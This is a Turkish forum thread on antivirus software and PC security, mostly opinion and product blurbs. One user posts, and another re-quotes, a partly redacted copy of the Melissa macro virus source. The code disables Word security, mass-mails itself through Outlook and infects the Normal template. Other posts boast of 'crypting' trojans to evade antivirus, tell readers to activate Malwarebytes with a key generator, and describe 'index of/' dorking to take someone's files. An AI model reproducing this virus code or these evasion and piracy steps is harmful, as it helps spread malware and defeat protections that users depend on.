%97 güvenlik

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
Repository dışından virüslü yazılımı indirip root yetkisi ile çalıştıracak kadar cahilseniz virüs bulaşabilir.
linux kullanmadım,meylim oldu ama zamanım olmadı,günüm işlerle dolu geçiyor,ayrıca cahillik kelimesine katılmıyorum,insanlar yaşadıkça tecrübe kazanırlar.
Tecrübelerini değerlendirdikcede öğrenirler
eskilerden söz vardır
"dirgeni yiyen sıpa ,gelirmi bi daha sapa"
 

_X_

Profesör
Katılım
22 Ağustos 2013
Mesajlar
3,017
Reaksiyon puanı
1,545
Puanları
293
Virüslerin Kendimce Kisa Bir Tarihcesini Soyle Aktarabilirim.

Ilk Virusler Bilgisayar veya Yazilim Konusunda Bi Noktaya Gelmis Kendini Ispatlamak Adina Uretilen Masum Viruslerdi.

Ikinci Dalga Ilk Dalgada Kendini Gosterenlerele Birlikte Bende Varimcilarla Bi Nebze Daha Hayatimiza Girdi ve Bunlar Masum Köylü ve Zarli Olarak Ikiye Ayrildi.

Sonrasinda Bunlara Paralel Olarak Bu Virusleri Silmekte O Zaman Ne Kadar Basariliydi Bilinmez Antivusler Programlariyla Tanistik.

Ilk Anti Antivirüs Programlari Piyasada Yerlerini Alirken Rakip Olacak Programlarda Yavas Yavas Piyasadaki Yerini Almaya Girdikce Ortam Kizismaya Basladi.

Antivirüsler Iyi Is Yaptikca Virüs Uretenlerde Bos Durmayip Gunden Gune Virus Gelistirdiler

Rekabet Kizistikca Ben Daha Iyiyim Diye Cirit Atmak Adina Bu Defa Kendileri Virus Gelistirdiler.

Tabiki Virüs Gelistiricileride Bos Durmadi Onlarda Bu Programlara Karsi Daha Guclu Virusler Gelistirdiler.



Birkac Girdiyle Daha Devam Edilebilir Fakat Bunlari Es Gececegim.

Hulasa Ilk Virus Vakasindan Bugune Katlanarak Gelen Virüsler, Antivirusler, ve Virüs Üreticileri ve Bunlarin Olusturdugu Bir Piyasa Bulunmakta.

Suanki Kosullarda Ben Burdayimcilar, Reklamcilar, Kimlik Hirsizlari, Sanal Para Ureticilerinden, Sanal Para Hirsizlarina ve Sanal Madencilere vs Kisaca Bilgisayar Kullanicilarini Canindan Bezdirmek Isteyen Virus ve Virus Barindiran Iyimser Gibi Gorunup Islev Gordugunu Zannetigimiz Ama Barindirdigi Zararli Yazilimlarla Bu Programlari Gelistirenlere Kadar Izlenen Surec Icerisinde Hepsinin Birbirileriyle Uzak veya Yakin Iliskili Olduklari Acik ve Net Bir Sekilde Ortaya Atilmasada Bu Durum Biz Kullanicilarin Tecrübesiyle Asikardir.

Geldigimiz Noktada Hicbirininin Masum Olmadigi Aciktir. Bu Elde Edilen Kanaatle Ne Kadar Guvenilir Olduklarini Varin Siz Dusunun.

Bu Pastayi Kendileri Yapti ve Kendi Aralarinda Zaman Icerisinde Degiskenlik Gösteren En Güclünün En Büyük Dilimi Yedigi Bir Durum Söz Konusu.
 

Mert0

Profesör
Katılım
18 Mayıs 2019
Mesajlar
2,456
Reaksiyon puanı
1,702
Puanları
293
Kaspersky'ın öncülük ettiği bi film vardı bu virüsler siber suçlar ve bilgisayarlarla alakalı ismini hatırlayamadım ama ondan sonra belki gereksiz ama çok büyük bi korku sardı beni nedense.
 

defacerGLD

Profesör
Katılım
16 Ocak 2020
Mesajlar
3,328
Reaksiyon puanı
3,068
Puanları
293
Kaspersky'ın öncülük ettiği bi film vardı bu virüsler siber suçlar ve bilgisayarlarla alakalı ismini hatırlayamadım ama ondan sonra belki gereksiz ama çok büyük bi korku sardı beni nedense.
who I am olmasın o
 

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
şimdi sözüm meclisten dişarı
japon sinemasında 35 40 yıl oluyor ,unutamadığım replik vardı :)
babası oğluna kızınca ,oğlu cevap veriyor
"salaklar olmazsa ,uyanıklar nasıl geçinecek"
bizlerden hala bazılarımız şu anda dahi ,bilgisayarı bilim kurgu filimlerindeki gibi her işi yapan makineler olarak görebiliyor.
 

Mert0

Profesör
Katılım
18 Mayıs 2019
Mesajlar
2,456
Reaksiyon puanı
1,702
Puanları
293
şimdi sözüm meclisten dişarı
japon sinemasında 35 40 yıl oluyor ,unutamadığım replik vardı :)
babası oğluna kızınca ,oğlu cevap veriyor
"salaklar olmazsa ,uyanıklar nasıl geçinecek"
bizlerden hala bazılarımız şu anda dahi ,bilgisayarı bilim kurgu filimlerindeki gibi her işi yapan makineler olarak görebiliyor.
Haklısınız hocam elektriği kesince bişi kalmıyor ama o kadar para verince de biraz korkuyor işte insan. Bir de çoğunluğun abartması sanırım. Neyse bu konuda biraz daha vurdum duymaz olmak da fayda var sanırım.
 

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
Haklısınız hocam elektriği kesince bişi kalmıyor ama o kadar para verince de biraz korkuyor işte insan. Bir de çoğunluğun abartması sanırım. Neyse bu konuda biraz daha vurdum duymaz olmak da fayda var sanırım.
kardeşim güzel sözlerimiz en aklıma geleni.
"korktuğun şey başına gelir"
 
Son düzenleme:

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
bakın interneti akan nehir olarak düşünün,her gün yeni balıklar geliyor,kimileri prinha ,kimileri sazan,benim diyeni dahi tufaya getiriyorlar.
ben indexleri cok dolasırım
"index of/"anahtarını kullanarak tarama yaparım.
hacker olan kişinin bütün indexi elime geçti,adamın kendi resmi dahil ,bütün programlarını 4 gb kadar indirmiştim,halada elimde :) ismi önemli değil,oda zaten sonradan beyaz tarafa geçtiğini okudum
 

defacerGLD

Profesör
Katılım
16 Ocak 2020
Mesajlar
3,328
Reaksiyon puanı
3,068
Puanları
293
bakın interneti akan nehir olarak düşünün,her gün yeni balıklar geliyor,kimileri prinha ,kimileri sazan,benim diyeni dahi tufaya getiriyorlar.
ben indexleri cok dolasırım
"index of/"anahtarını kullanarak tarama yaparım.
hacker olan kişinin bütün indexi elime geçti,adamın kendi resmi dahil ,bütün programlarını 4 gb kadar indirmiştim,halada elimde :) ismi önemli değil,oda zaten sonradan beyaz tarafa geçtiğini okudum
kim o desen olmaz mı
 

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
kim o desen olmaz mı
[/QUOTE]
sır saklamak,olanın olduğu yerde kalması önemlidir.hem bu olay olalı 6 7 yıl oldu
 
Son düzenleme:

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
Onu şahsınızı hedef alarak söylememiştim. Bir şeyleri tarif ederken böyle yaparsanız şöyle olur gibi ifadeler kullanılıyor ya, bu da o cümleden bir ifadeydi.
peki anladım,yanlış anlaşılma için özür dilerim,mesajı sildim,uyarınız içinde tşk ederim,ama sayenizdede yeni kelime öğrendim bunun içinde ayrıca tşk ederim :)
 

Mert0

Profesör
Katılım
18 Mayıs 2019
Mesajlar
2,456
Reaksiyon puanı
1,702
Puanları
293
öncelikle açıklayım hiç bir sistem %100 güvenli olamaz
altakilerin yanında virüslü olduğunu düsündüğünüz dosyayı sandboxie yada sanal makinada açın ve açmadan önce
VirusTotal taratın 55 ayrı antivirüsü tarar bu site

Anti Virüsler Hakkında Detaylı Açıklama ;
Bugüne kadar nerdeyse piyasadaki Her Anti Virüsü Kullandım Ve benim analizime göre.Avast : 2005 2007 yılları arasının en iyi anti virüsüydü. Her ne Kadar Yeni Sürümleri cıkmıs olsada günümüzdeki anti virüslere göre kendini cokta geliştiremedi. kısacası kesinlikle tavsiye etmiyorum .yanlıs alarm ve saldırı engelleyemiyor vasat bir anti virüs.
bilinen tehditlere karsı iyi fakat bilnmeyenlere bişey yapamıyor sezgisel taraması çok kötü.Kaspersky : Evet Herkes bu antivirüsü kral olarak ve en iyi görür. Doğrudur kaspersky en iyi antivirüstür . Fakat Bu kadar iyi olmasının yanında bazı dezavantajlarıda vardır .
Öncelikle sistem özellikleriniz ne kadar iyi olursa olsun sisteminizi aşırı derece kasar , bilgsyar acılısı ve kapanısı en az 15 sn geçiktirir. Kısacası pcnizi korur ama yavaş yavaş ta öldürmeye başlar . O yüzden tavsye etmiyorum ben 2 Sene kullanmıştım Suan o pcm evde yatıyor rahmetli sebebi hdd si yandı ,Eset : Tek kelimeyle özetlemesi gerekirse Uzak durun gördüğünüz yerde kaçın , Eset kadar Kötü bir anti virüs yoktur . Geçilmesi en kolay antivirüs bana göre , ki herkesde artık eseti kolay geçiyor o yüzden tavsiye etmiyorum .anlamadığım bişey herkes eset eset diyor ama esette ben o kadar bişey göremedim. bypass etmek 2 dk ble sürmüyor.
virüsleri silemiyor .Panda: Panda içinde Kaspersky ile Aynı seyler geçerli . güvenlk duvarında kmse yarısamaz ama cok kasar o yüzden tavsye etmiyorumMcAffe:Bu anti virüste sistem dosyalarınızı zararlı görmesyle ünlü olmuştur .tavsye etmiyorum herşeye virüs diyor .Norton 360 v5 : Norton yıllardan beri faliyette olan ve kalitesni hiç bırakmayan kaliteli bir antivirüstür fakat yine cok kasmasıyla bilnmektedir.
Kişisel kullanım için önermiyorum kesinlkle ofis srket gibi yerlerde kullanalıablr.

AvG : Kesinlikle Önermiyorum tam bir fiyasko . Sadece Görünüş.Daha doğru dürüst Pcden Bile Kaldıramıyor Kendini.BitDefender : Kullanımı karısık olması nedenyle önermiyorum . Tecrübeli bir kullanıcı değilseniz Başınızıa işler acabilir.Simdi gelelim Benim Önerdiğim anti virüse.
bu yukarda önerdğim tüm anti virüsler ücretli yani lisans gerektiyor.
Smdi size önereceğim anti virüs ise Hem kaliteli Hemde Ücretsiz.Avira Personel Antivirüs : Kısacası benim favorim 1 senedir kullanıyorum 1 tane virüs kacırdgını görmedim . Nerde Ne varsa buluyor ve kesnlkle yanlıs alarm vermiyor .
Ücretsiz olması da ayrı bir avantaj . Tek dez avantajı inglzce olması fakat O kadar cok blmenzde gerek yok virüs buldugu zaman size 3 secenek sunar.

Remove Details . Decline Remove derseniz Virüs Silnir details derseniz virüsün bulaştııgı tüm dosyalar cıkar . Decline dersenizde Oldugu gibi Bırakır .
BEnim tek geçemediğm anti virüs aviradır .
Hiç bir şeklde bypass ve crypted olmuyor .
Crypt ediyorum trojen.crypt diyor tekrar deniyorum bu sefer downloader diyor bi daha deniyorum win.agent diyor kısacası baş belası bir anti . Trojenlere karsı gayet etkli.
Kısacası Avira Her zaman Bir numaradır.

Bir diğer konu da Browser (tarayıcı güvenliği) coğu kisi bunu kücmser ama artık keylogger ve Trojenlerde tarihe karısıyor . bir ksi sadece cookies handling yaparak tüm bilgilernizi alablr bunun için ne yapmalıyız.
mutlaka her internete girş cıkısımızda cookiesleri temizlemelemeliyiz peki nedir bu cookiesler bunlar internette sifremi kaydet dediğinzde tutulan kayıtlardır.
Sifrelernz Bilgsyarınzda Sfreli bi halde bi klasörde tutulur.
hiç düşündünüzmü şifremi hatrla dedignzde ckıyorsunuz terkar grdgnzde şfreniz orda duruyor o sfre havadan gelmiyor değilmi ,
bu yüzden cclener ile her defasnda internet geçmsnizi temzletiniz .
Browser olarakta kesinlkle ya firefox yada opera kullanın hem hızlı hem güvenli hemde rahat .
KEsinlkle İnternet explorer ve Choremeden uzak durun .

Bu Kadar Bilgi yeterli Sanırım Simdi Gelelim GErekli Dökümanlara ,
%100 bilgisayar güvenliği için , 5 Kademeli bir güvenlik sistemi kuracağız.
ve üstelik bu 5 program bir kaspersky kadar bile kasmıyacak

ilk olarak trojen ve virüslere karsı anti virüs yani avira , Kolay kurulumu vardır sizi uğrastırmaz.
Temel Özellikleri:

• 730,000 virüsü tanır, bulur ve yokeder
• Tanınmayan virüsleri engelleme özelliğine sahiptir (pro-active)
• Virus Guard özelliği ile internetten indirdiğiniz dosyaların tehlike oluşturmasını önler
• makro virüslerini tanır ve onarır.
• dialer programlarını önler
• trojan, worm, backdoors vb. zararlı yazılımlara izin vermez
• kolay yönetilir ve güncellenir
• boot virüslerini engeller
• Windows Vista xp , win 7 ile uyumludur


Comodo Firewall (Aynı Zamanda Davranış Analizi Özelliğede Mevcut)

(Ücretsiz Güvenlik Duvarı) profesyonel bir ekip tarafından hazırlanarak tamamen ücretsiz olarak kullanıma sunulan güçlü bir yazılım.Sisteminizi iç ve dış ataklara karşı korumak için kullanabileceğiniz bu çözüm, zararlı yazılım ve hacker saldırılarına karşı etkili. Kişisel bilgilerinizi korumak için ihtiyaç duyabileceğiniz bu güvenlik duvarı yazılımı basit yapısı ile size yardımcı olmak için elinden geleni yapıyor.

Özellikle kolay yapılandırılabilir ayarları ve basit kullanıcı arayüzüyle dikkat çeken program düzenli güncellemelerle en güncel tehditlere karşı kullanıcıları koruyor.
Öne Çıkan Özellikler
İnternet ataklarına karşı bilgisayar koruması.
Bilgisayarda çalışan uygulamaları monitörleme.
Kötü niyetli yazılımları engelleme.
Sandbox teknolojisi.
Bulut (cloud) temelli davranış analizi ve listeleme.


Zemana AntiLogger (keylogger ve Trojen için)


Özellikleri ;

AntiLogger, zararlı yazılımların saldırı metodlarına karşı geliştirilmiş, güçlü anti-eylem metodları içeren, yenilikçi güvenlik modülleri ile "Bilgi Güvenliği"nizi imza veritabanına ihtiyaç duymadan, sezgisel olarak koruma altına alır.

Antilogger, bilinen tüm yöntemler ile çalışan bilgi hırsızlığı amaçlı zararlıları engellemektedir. Kullandığı sezgisel koruma metodu ile henüz ortaya çıkmamış ve bilinmeyen yeni saldırı yöntemlerine karşı da "Bilgi Güvenliği"nizi sıfır zamanlı olarak koruyabilmektedir.

Yaygın olarak kullanılan ve dünyaca tanınmış çeşitli güvenlik yazılımlarının bile yakalayamadığı bilinmeyen zararlılara karşı size yepyeni ve çok güçlü bir koruma sağlar.

Sıraladığımız maddeleri kısaca açıklayacak olursak;
* SSL Logger'lara karşı koruma sağlayan üstün Anti-SSL Logger Modülü
* WebCam Logger'lara karşı koruma sağlayan üstün Anti-WebCam Logger Modülü
* Key Logger'lara karşı koruma sağlayan üstün Anti-Key Logger Modülü
* Screen Logger'lara karşı koruma sağlayan üstün Anti-Screen Logger Modülü
* Clipboard Logger'lara karşı koruma sağlayan üstün Anti-ClipBoard Logger Modülü
* İşletim Sisteminizi koruyan üstün Sistem Savunma Modülü




Malwarebytes' Anti-Malware
Malwarebytes' Anti-Malware ile bilgisayarınıza bulaşıp yerleşen virüsler, solucanlar, truva atları, rootkitler, çeviriciler, casus yazılımlar ve malware denen kötü amaçlı tüm yazılımlara karşı sisteminizi taratıp temizleyebilirsiniz. Yaptığınız her taramada program sisteminizi tanıyarak işini daha iyi yapmaya çalışmaktadır. Yeni teknolojisi sayesinde kötü amaçlı yazılımları hızlıca bulur, sisteminizdeki etkilerini kaldırır ve engeller.

Programın Tarama Seçenekleri:

# Hızlı Tarama : Malwarebytes’ın hızlı tarama teknolojisini kullanarak sisteminizi en yaygın kötü amaçlı yazılımlar için tarar.
# Derin Tarama : Kullanıcı tarafından belirlenmiş tüm sabit disk sürücülerini analiz eder.

Malwarebytes' Anti-Malware, popüler antivirüs ve antimalware yazılımlarının bile çoğu zaman bulup yok etmekte etkisiz olduğu kötü amaçlı yazılımları temizleme kabiliyetine sahiptir.

Malwarebytes' Anti-Malware, Gelişmiş İzleme Motoru sayesinde (anlık korumalı ücretli sürümünde) her çalışan uygulamayı kontrol eder ve kötü bir işlem başlatmadan önce araya girerek işlemi sonlandırır.

Malwarebytes' Anti-Malware, gelişmiş Sezgisel Tanıma Teknolojisi (anlık korumalı ücretli sürümünde) sayesinde, sisteminizde olası tehlikeleri daha iyi analiz ederek tehlikeli işlem yapma ihtimali olan yazılımları önceden tespit edebilir.
Malwarebytes' Anti-Malware; yaklaşık 75.000 adet kötü amaçlı yazılımı tanıma özelliğine sahiptir.
Programın Ayrıntılı Özellikleri:
# Oldukça hızlı tarama yöntemi
# Tüm bilgisayar sürücü ve klasörlerini, dosya biçimi ayırt etmeden kontrol edebilme
# Anlık koruma özelliği (sadece kayıtlı sürümde)
# Sürekli güncellenen veritabanları
# Karantina seçeneği
# Hem tarayıcı, hem de anlık koruma sistemi için hariç bırakma kuralları tanımlayabilme
# Gelişmiş performans seçenekleri ayarları
# Zararlıları elle temizlemek için eklenen ipucu pencereleri
# Çoklu dil desteği seçimi (Her ne kadar yapılan çeviriyi pek başarılı bulmasak da Türkçe de gerek kurulum, gerekse de çalışma aşamasında destekleniyor - çok yakında sitemiz editörlerinden bosluk tarafından, mevcut çevirmen hiredblade ile birlikte çeviri güncellenecektir)
# Diğer virüs tarayıcısı programlar ile tam olarak uyumlu çalışabilme
# Komut satırı seçenekleri
# Windows gezgini sağ tuş tıklamasına eklenebilme özelliği ile, dosyaları kolaylıkla tek olarak tarayabilme.

Program Kurulumu:

1. Setup dosyasından programı free olarak kurun.
2. Update güncellemelerinide free olarak yapın.
3. Bitiminde şifre üretici dosyasından üreteceğiniz kodu programda aktivasyon için istenen yere girin.
4. İşlem tamam. Bundan sonra güncellemeleri yapabilirsiniz.
Not : Bu Programı sadece Tarama Amaçlı kullanın Gerçek koruma özelliğini açmayınız.

CCleaner (cookies Temizleyici Ve Kayıt Defteri Düzenleyicisi)

CCleaner v3.07.1457



Tertemiz ve hızlı ve sorunsuz bir bilgisayar için kullandığımız yazılımın en son sürümü Ücretsiz PC optimizasyon aracıdır. Program ile kullanılmayan, gereksiz dosyalar bir fare tıklaması ile temizlenebiliyor. Program, Windows kayıt defterindeki (registry) gereksiz dosyaları da silebiliyor. Bunun yanı sıra programın “Tools” bölümünden, kaldırıldığı halde Program Ekle/Kaldır’da listenenen uygulamaları temizleyebilirsiniz.

Temizlediği Bileşenler:

# Internet Explorer
# Geçici dosyalar
# URL geçmişi
# Önbellek (cache)
# Çerezler (cookie)
# Index.dat dosyası

# Opera
# Firefox
# Geçici dosyalar
# Önbellek (cache)
# Geri Dönüşüm Kutusu
# Pano (clipboard)
# Windows geçici dosyaları
# Windows günlük (log) dosyaları
# En son kullanılan belgeler listesi (Başlat Menüsü üzerindeki)
# Çalıştırılmış dosya geçmişi (Başlat Menüsü üzerindeki)
# Windows XP Arama Asistan geçmişi

Kapsadığı Uygulamalar:
Opera, Firefox Media Player, Msn Messenger, eMule, Kazaa, Google Toolbar, Netscape, Office XP, Nero, Adobe Acrobat, Adobe Photoshop, WinRAR, WinAce, WinZip, CuteFTP, Quick Time, Nero ve aklıma gelmeyen hemen hemen tüm programlar..
BitDefender ne gibi sorun açar? Elime key geçti de yabana gitmesin kullanacaktım.
 

Lisans Bul

Müdavim
Müdavim
Katılım
22 Eylül 2017
Mesajlar
623
Reaksiyon puanı
604
Puanları
93
Kaspersky total security haric tüm antivirüsler fiyaskodur! Avira eskiden cellatti ama simdi uysal kedi! Java trojenini Avira veya digerlerinden her hangi biri engellesinde görelim! Kaspersky Total Security yakalayamasa bile calismasini durdurur ve maksimum 2 gün icinde temizler! Kaspersky acilista bilgisayari kasar ama 99% oraninda güvenligi saglar! Yine de herkes kendi sevdigi antivirüsü kullanmakta özgür.
 

crow88

Müdavim
Müdavim
Katılım
1 Aralık 2010
Mesajlar
6,150
Çözümler
1
Reaksiyon puanı
3,255
Puanları
1,358
Yaş
59
zamanında meşhur olan virüslerinden melissa virüs kodundan parçalar
(TAMAMI BENDE MEVCUT(aslında arasanız sizde bulursunuzda!!!!!!:)))


The famous melissa source code:
--start

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
-----------------
******************
********************
******************
*******************
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for
.... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
x
x
x
x
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
x
x
x
""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over. I'm outta here."
End Sub
 

defacerGLD

Profesör
Katılım
16 Ocak 2020
Mesajlar
3,328
Reaksiyon puanı
3,068
Puanları
293
Eset Antivirüs güvenlidir. Kullandınmı bilmem ama 5 yıl olalı lisanslayıp kullanıyordum. son 3 ayda sadece 2 defa site startup virüsü bıkarmıştı pcden içeri.

zararlı siteleri ip adresleri linkleri engellemeleri üzerine antivirüs tanımam.
Hemde çok hafif program. 1 % bile zorlamıyor pc performansını.

Bence lisanslı olarak kullanmamışsınız. Sadece ordan burdan duyduğunuz 1 dakikada güvenliğini geçerim diyenlere kulak vermişsiniz.

Crackli dosyalarımı zaten elle ekliyordum parametresine silip süpürmesin.
Eset geçiliyor kolay ben bile geçiyosam başkaları ne yapmaz

kanıt:
1.PNG

tek tutan kaspersky
 

Akkara

Dekan
Emektar
Müdavim
Katılım
3 Şubat 2018
Mesajlar
8,004
Çözümler
4
Reaksiyon puanı
9,376
Puanları
1,708
Merhaba;

1)
Yazdıklarınızı başlıklar halinde ve paragraflara ayırarak yazsaydınız daha iyi olurdu.

2)
Doğru ve akla yatkın bilgilendirmeler var ama çoğu bilgi güncel değil ve bu suretle bazı bilgiler güncellenmeye muhtaç.

Mesela 1 yazıda: "VirusTotal taratın 55 ayrı antivirüsü tarar bu site" denmiş ama VirusTotal, taratılan ögeleri 70'ten fazla antivirüs tarayıcısı ile denetler. bkz.

Mesela 2 yazıda: "CCleaner v3.07.1457" sürümünü yazmışsınız ama CCleaner'ın en güncel sürümü v5.65.7632'dir. Konuda geçen v3.07.1457 ise 26 Mayıs 2011 sürümüdür. Bkz.

Mesela 3 yazıda: Avast için "kısacası kesinlikle tavsiye etmiyorum .yanlıs alarm ve saldırı engelleyemiyor vasat bir anti virüs." denmiş yanlış alarm konusu doğru ama hiç saldırı engellememesi ifadesi bence tam olarak doğru değil:

Antivirüs araştırma ve test merkezlerinin sunduğu bazı bilgiler:

av-test Windows 10 -Şubat 2020- test sonuçlarında 6 üzerinden 6 koruma derecesi almış.

Av-comparatives kötü amaçlı yazılım testlerinde -2020 mart- çevrimiçi tespit ve koruma oranları sırasıyla: 99.6% ve 99.98% elde etmiş.

Avast'ın bazı sürümlerini ben kendim de kullandım, o kadar kötü denebilecek bir yazılım değil.

3)
"Bugüne kadar nerdeyse piyasadaki Her Anti Virüsü Kullandım" cümlesinden itibaren konuyu kopyala/yapıştır yapmışsınız ama kaynak sunmamışsınız.

Bkz:


Başka sitelerden alıntı yapıldığında, bunları içerikte mutlaka belirtelim. Bkz: Forum Kuralları
 
S

SDN Anonim 608469

SDN Okuru
zamanında meşhur olan virüslerinden melissa virüs kodundan parçalar
(TAMAMI BENDE MEVCUT(aslında arasanız sizde bulursunuzda!!!!!!:)))


The famous melissa source code:
--start

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
-----------------
******************
********************
******************
*******************
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for
.... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
x
x
x
x
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
x
x
x
""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over. I'm outta here."
End Sub
.bat olarakmı
 
Üst